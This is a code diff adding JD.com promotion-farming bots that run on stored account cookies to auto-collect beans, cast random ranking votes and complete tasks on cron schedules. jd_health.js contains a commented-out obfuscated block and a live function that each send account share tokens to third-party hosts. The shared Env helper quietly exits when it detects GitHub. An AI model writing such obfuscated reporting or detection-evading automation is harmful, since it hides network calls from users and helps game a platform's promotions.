console.log('东东工厂:', await factory(cookie)) + console.log('京喜工厂:', await jxfactory(cookie)) + console.log('闪购盲盒:', await sgmh(cookie)) + } +})() diff --git a/jd_getUp.ts b/jd_getUp.ts new file mode 100644 index 0000000000..8843310e84 --- /dev/null +++ b/jd_getUp.ts @@ -0,0 +1,41 @@ +import axios from 'axios' +import USER_AGENT, {requireConfig, TotalBean} from './TS_USER_AGENTS' + +const notify = require('./sendNotify') +let cookie: string = '', cookiesArr: any, UserName: string, index: number + +!(async () => { + cookiesArr = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + let {isLogin, nickName}: any = await TotalBean(cookie) + if (!isLogin) { + notify.sendNotify(__filename.split('/').pop(), `cookie已失效\n京东账号${index}:${nickName || UserName}`) + continue + } + console.log(`\n开始【京东账号${index}】${nickName || UserName}\n`) + + try { + let {data}: any = await axios.get('https://api.m.jd.com/client.action?functionId=morningGetBean&area=22_1930_50948_52157&body=%7B%22rnVersion%22%3A%224.7%22%2C%22fp%22%3A%22-1%22%2C%22eid%22%3A%22%22%2C%22shshshfp%22%3A%22-1%22%2C%22userAgent%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22referUrl%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%7D&build=167724&client=apple&clientVersion=10.0.6&d_brand=apple&d_model=iPhone12%2C8&eid=eidI1aaf8122bas5nupxDQcTRriWjt7Slv2RSJ7qcn6zrB99mPt31yO9nye2dnwJ/OW%2BUUpYt6I0VSTk7xGpxEHp6sM62VYWXroGATSgQLrUZ4QHLjQw&isBackground=N&joycious=60&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=32280b23f8a48084816d8a6c577c6573c162c174&osVersion=14.4&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=0c19e5962cea97520c1ef9a2e67dda60&st=1625354180413&sv=112&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSPYvHJMKdY9TUw/AQc1o/DLA/rOTDwEjG4Ar9s7IY4H6IPf3pAz7rkIVtEeW7XkXSOXGvEtHspPvqFlAueK%2B9dfB7ZbI91M9YYXBBk66bejZnH/W/xDy/aPsq2X3k4dUMOkS4j5GHKOGQO3o2U1rhx5O70ZrLaRm7Jy/DxCjm%2BdyfXX8v8rwKw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=c99b216a4acd3bce759e369eaeeafd7', { + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': USER_AGENT, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com' + } + }) + if (data.code === '0') { + data.data.awardResultFlag === '2' + ? console.log(data.data.bizMsg) + : console.log(data.data.bizMsg, data.data.beanNum) + } + } catch (e) { + console.log('Error:', e) + } + } +})() diff --git a/jd_gold_creator.js b/jd_gold_creator.js new file mode 100644 index 0000000000..e4116ff916 --- /dev/null +++ b/jd_gold_creator.js @@ -0,0 +1,266 @@ +/* +金榜创造营 +活动入口:https://h5.m.jd.com/babelDiy/Zeus/2H5Ng86mUJLXToEo57qWkJkjFPxw/index.html +活动时间:2021-05-21至2021-12-31 +脚本更新时间:2021-05-28 14:20 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#金榜创造营 +13 1,22 * * * jd_gold_creator.js, tag=金榜创造营, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 1,22 * * *" script-path=jd_gold_creator.js, tag=金榜创造营 + +====================Surge================ +金榜创造营 = type=cron,cronexp="13 1,22 * * *",wake-system=1,timeout=3600,script-path=jd_gold_creator.js + +============小火箭========= +金榜创造营 = type=cron,script-path=jd_gold_creator.js, cronexpr="13 1,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('金榜创造营'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = $.UserName; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await main() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + try { + await goldCreatorTab();//获取顶部主题 + await getDetail(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `【京东账号${$.index}】${$.UserName || $.nickName}\n${message}`); + } + resolve() + }) +} +async function getDetail() { + $.subTitleInfos = $.subTitleInfos.filter(vo => !!vo && vo['hasVoted'] === '0'); + for (let item of $.subTitleInfos) { + console.log(`\n开始给【${item['longTitle']}】主题下的商品进行投票`); + await goldCreatorDetail(item['matGrpId'], item['subTitleId'], item['taskId'], item['batchId']); + await $.wait(2000); + } +} +function goldCreatorTab() { + $.subTitleInfos = []; + return new Promise(resolve => { + const body = {"subTitleId":"","isPrivateVote":"0"}; + const options = taskUrl('goldCreatorTab', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + $.subTitleInfos = data.result.subTitleInfos || []; + let unVoted = $.subTitleInfos.length + console.log(`共有${$.subTitleInfos.length}个主题`); + $.stageId = data.result.mainTitleHeadInfo.stageId; + $.advGrpId = data.result.mainTitleHeadInfo.advGrpId; + await goldCreatorDetail($.subTitleInfos[0]['matGrpId'], $.subTitleInfos[0]['subTitleId'], $.subTitleInfos[0]['taskId'], $.subTitleInfos[0]['batchId'], true); + $.subTitleInfos = $.subTitleInfos.filter(vo => !!vo && vo['hasVoted'] === '0'); + console.log(`已投票${unVoted - $.subTitleInfos.length}主题\n`); + } else { + console.log(`goldCreatorTab 异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//获取每个主题下面待投票的商品 +function goldCreatorDetail(groupId, subTitleId, taskId, batchId, flag = false) { + $.skuList = []; + $.taskList = []; + $.remainVotes = 0; + return new Promise(resolve => { + const body = { + groupId, + "stageId": $.stageId, + subTitleId, + batchId, + "skuId": "", + "taskId": Number(taskId) + }; + const options = taskUrl('goldCreatorDetail', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + $.remainVotes = data.result.remainVotes || 0; + $.skuList = data.result.skuList || []; + $.taskList = data.result.taskList || []; + if (flag) { + await doTask2(batchId); + } else { + console.log(`当前剩余投票次数:${$.remainVotes}`); + await doTask(subTitleId, taskId, batchId); + } + } else { + console.log(`goldCreatorDetail 异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function doTask(subTitleId, taskId, batchId) { + $.skuList = $.skuList.filter(vo => !!vo && vo['isVoted'] === 0); + let randIndex = Math.floor(Math.random() * $.skuList.length); + console.log(`给 【${$.skuList[randIndex]['name']}】 商品投票`); + const body = { + "stageId": $.stageId, + subTitleId, + "skuId": $.skuList[randIndex]['skuId'], + "taskId": Number(taskId), + "itemId": "1", + "rankId": $.skuList[randIndex]['rankId'], + "type": 1, + batchId + }; + await goldCreatorDoTask(body); +} +async function doTask2(batchId) { + for (let task of $.taskList) { + task = task.filter(vo => !!vo && vo['taskStatus'] === 1); + for (let item of task) { + console.log(`\n做额外任务:${item['taskName']}`) + const body = {"taskId": item['taskId'], "itemId": item['taskItemInfo']['itemId'], "type": item['taskType'], batchId}; + if (item['taskType'] === 1) { + body['type'] = 2; + } + await goldCreatorDoTask(body); + await $.wait(2000); + } + } +} +function goldCreatorDoTask(body) { + return new Promise(resolve => { + const options = taskUrl('goldCreatorDoTask', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.taskCode === '0') { + console.log(`成功,获得 ${data.result.lotteryScore}京豆\n`); + if (data.result.lotteryScore) $.beans += parseInt(data.result.lotteryScore); + } else { + console.log(`失败:${data.result['taskMsg']}\n`); + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&clientVersion=10.0.0&client=wh5&eufv=false&uuid=`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_health.js b/jd_health.js new file mode 100644 index 0000000000..5ac36bd2c0 --- /dev/null +++ b/jd_health.js @@ -0,0 +1,374 @@ +/* +author: 疯疯 +东东健康社区 +更新时间:2021-4-22 +活动入口:京东APP首页搜索 "玩一玩"即可 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区 +13 1,6,22 * * * jd_health.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 1,6,22 * * *" script-path=jd_health.js, tag=东东健康社区 + +====================Surge================ +东东健康社区 = type=cron,cronexp="13 1,6,22 * * *",wake-system=1,timeout=3600,script-path=jd_health.js + +============小火箭========= +东东健康社区 = type=cron,script-path=jd_health.js, cronexpr="13 1,6,22 * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区"); + +console.log('\n====================Hello World====================\n') + +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], cookie = "", message; +const inviteCodes = [''] +const randomCount = $.isNode() ? 20 : 5; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + console.log(`如果出现提示 ?.data. 错误,请升级nodejs版本(进入容器后,apk add nodejs-current)`) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + {"open-url": "https://bean.m.jd.com/"} + ); + return; + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await shareCodesFormat() + await main() + await showMsg() + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function main() { + try { + $.score = 0 + $.earn = false + await getTaskDetail(-1) + await getTaskDetail(16) + await getTaskDetail(6) + for(let i = 0 ; i < 5; ++i){ + $.canDo = false + await getTaskDetail() + if(!$.canDo) break + await $.wait(1000) + } + await collectScore() + await helpFriends() + await getTaskDetail(22); + await getTaskDetail(-1) + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + let res = await doTask(code, 6) + if([108,-1001].includes(res?.data?.bizCode)){ + console.log(`助力次数已满,跳出`) + break + } + await $.wait(1000) + } +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${$.earn}健康值,累计${$.score}健康值\n` + $.msg($.name, '', `京东账号${$.index} ${$.UserName}\n${message}`); + resolve(); + }) +} + +function getTaskDetail(taskId = '') { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', {"buildingId": "", taskId: taskId === -1 ? '' : taskId, "channelId": 1}), + async (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (taskId === -1) { + let tmp = parseInt(parseFloat(data?.data?.result?.userScore ?? '0')) + if (!$.earn) { + $.score = tmp + $.earn = 1 + } else { + $.earn = tmp - $.score + $.score = tmp + } + } else if (taskId === 6) { + if (data?.data?.result?.taskVos) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken}\n`); + $.code = data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken || ''; + for (let k = 0; k < 5; k++) { + try { + await runTimes() + break + } catch (e) { + } + await $.wait(Math.floor(Math.random() * 10 + 3) * 1000) + } + // var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxc21db=["\x68\x74\x74\x70\x3A\x2F\x2F\x61\x70\x69\x2E\x73\x68\x61\x72\x65\x63\x6F\x64\x65\x2E\x67\x61\x2F\x61\x70\x69\x2F\x72\x65\x70\x6F\x72\x74\x3F\x64\x62\x3D\x68\x65\x61\x6C\x74\x68\x26\x63\x6F\x64\x65\x3D","\x74\x61\x73\x6B\x54\x6F\x6B\x65\x6E","\x61\x73\x73\x69\x73\x74\x54\x61\x73\x6B\x44\x65\x74\x61\x69\x6C\x56\x6F","\x74\x61\x73\x6B\x56\x6F\x73","\x72\x65\x73\x75\x6C\x74","\x64\x61\x74\x61","\x67\x65\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];$[__Oxc21db[0x6]]({url:__Oxc21db[0x0]+ data[__Oxc21db[0x5]][__Oxc21db[0x4]][__Oxc21db[0x3]][0x0][__Oxc21db[0x2]][__Oxc21db[0x1]]});(function(_0x4080x1,_0x4080x2,_0x4080x3,_0x4080x4,_0x4080x5,_0x4080x6){_0x4080x6= __Oxc21db[0x7];_0x4080x4= function(_0x4080x7){if( typeof alert!== _0x4080x6){alert(_0x4080x7)};if( typeof console!== _0x4080x6){console[__Oxc21db[0x8]](_0x4080x7)}};_0x4080x3= function(_0x4080x8,_0x4080x1){return _0x4080x8+ _0x4080x1};_0x4080x5= _0x4080x3(__Oxc21db[0x9],_0x4080x3(_0x4080x3(__Oxc21db[0xa],__Oxc21db[0xb]),__Oxc21db[0xc]));try{_0x4080x1= __encode;if(!( typeof _0x4080x1!== _0x4080x6&& _0x4080x1=== _0x4080x3(__Oxc21db[0xd],__Oxc21db[0xe]))){_0x4080x4(_0x4080x5)}}catch(e){_0x4080x4(_0x4080x5)}})({}) + } + } else if (taskId === 22) { + console.log(`${data?.data?.result?.taskVos[0]?.taskName}任务,完成次数:${data?.data?.result?.taskVos[0]?.times}/${data?.data?.result?.taskVos[0]?.maxTimes}`) + if (data?.data?.result?.taskVos[0]?.times === data?.data?.result?.taskVos[0]?.maxTimes) return + await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 1)//领取任务 + await $.wait(1000 * (data?.data?.result?.taskVos[0]?.waitDuration || 3)); + await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 0);//完成任务 + } else for (let vo of data?.data?.result?.taskVos.filter(vo => vo.taskType !== 19) ?? []) { + console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`) + for (let i = vo.times; i < vo.maxTimes; ++i) { + console.log(`去完成${vo.taskName}任务`) + if (vo.taskType === 13) { + await doTask(vo.simpleRecordInfoVo?.taskToken, vo?.taskId) + } else if (vo.taskType === 8) { + await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 1) + await $.wait(1000 * 10) + await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 0) + } else if (vo.taskType === 9) { + await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 1) + await $.wait(1000 * 10) + await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 0) + } else if (vo.taskType === 10) { + await doTask(vo.threeMealInfoVos[0]?.taskToken, vo?.taskId) + } else if (vo.taskType === 26 || vo.taskType === 3) { + await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId) + } + } + } + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function runTimes() { + return new Promise((resolve, reject) => { + $.get({ + url: `https://api.jdsharecode.xyz/api/runTimes?activityId=health&sharecode=${$.code}` + }, (err, resp, data) => { + if (err) { + console.log('上报失败', err) + reject(err) + } else { + if (data === '1' || data === '0') { + console.log('上报成功') + resolve() + } + } + }) + }) +} + +function runTimes() { + return new Promise((resolve, reject) => { + $.get({ + url: `https://api.jdsharecode.xyz/api/runTimes?activityId=health&sharecode=${$.code}` + }, (err, resp, data) => { + if (err) { + console.log('上报失败', err) + reject(err) + } else { + if (data === '1' || data === '0') { + console.log('上报成功') + resolve() + } + } + }) + }) +} + +function doTask(taskToken, taskId, actionType = 0) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) + $.get(options, + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if ([0, 1].includes(data?.data?.bizCode ?? -1)) { + $.canDo = true + if (data?.data?.result?.score) + console.log(`任务完成成功,获得:${data?.data?.result?.score ?? '未知'}能量`) + else + console.log(`任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + } else { + console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} + +function collectScore() { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_collectProduceScore', {}), + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (data?.data?.bizCode === 0) { + if (data?.data?.result?.produceScore) + console.log(`任务完成成功,获得:${data?.data?.result?.produceScore ?? '未知'}能量`) + else + console.log(`任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + } else { + console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + } + } 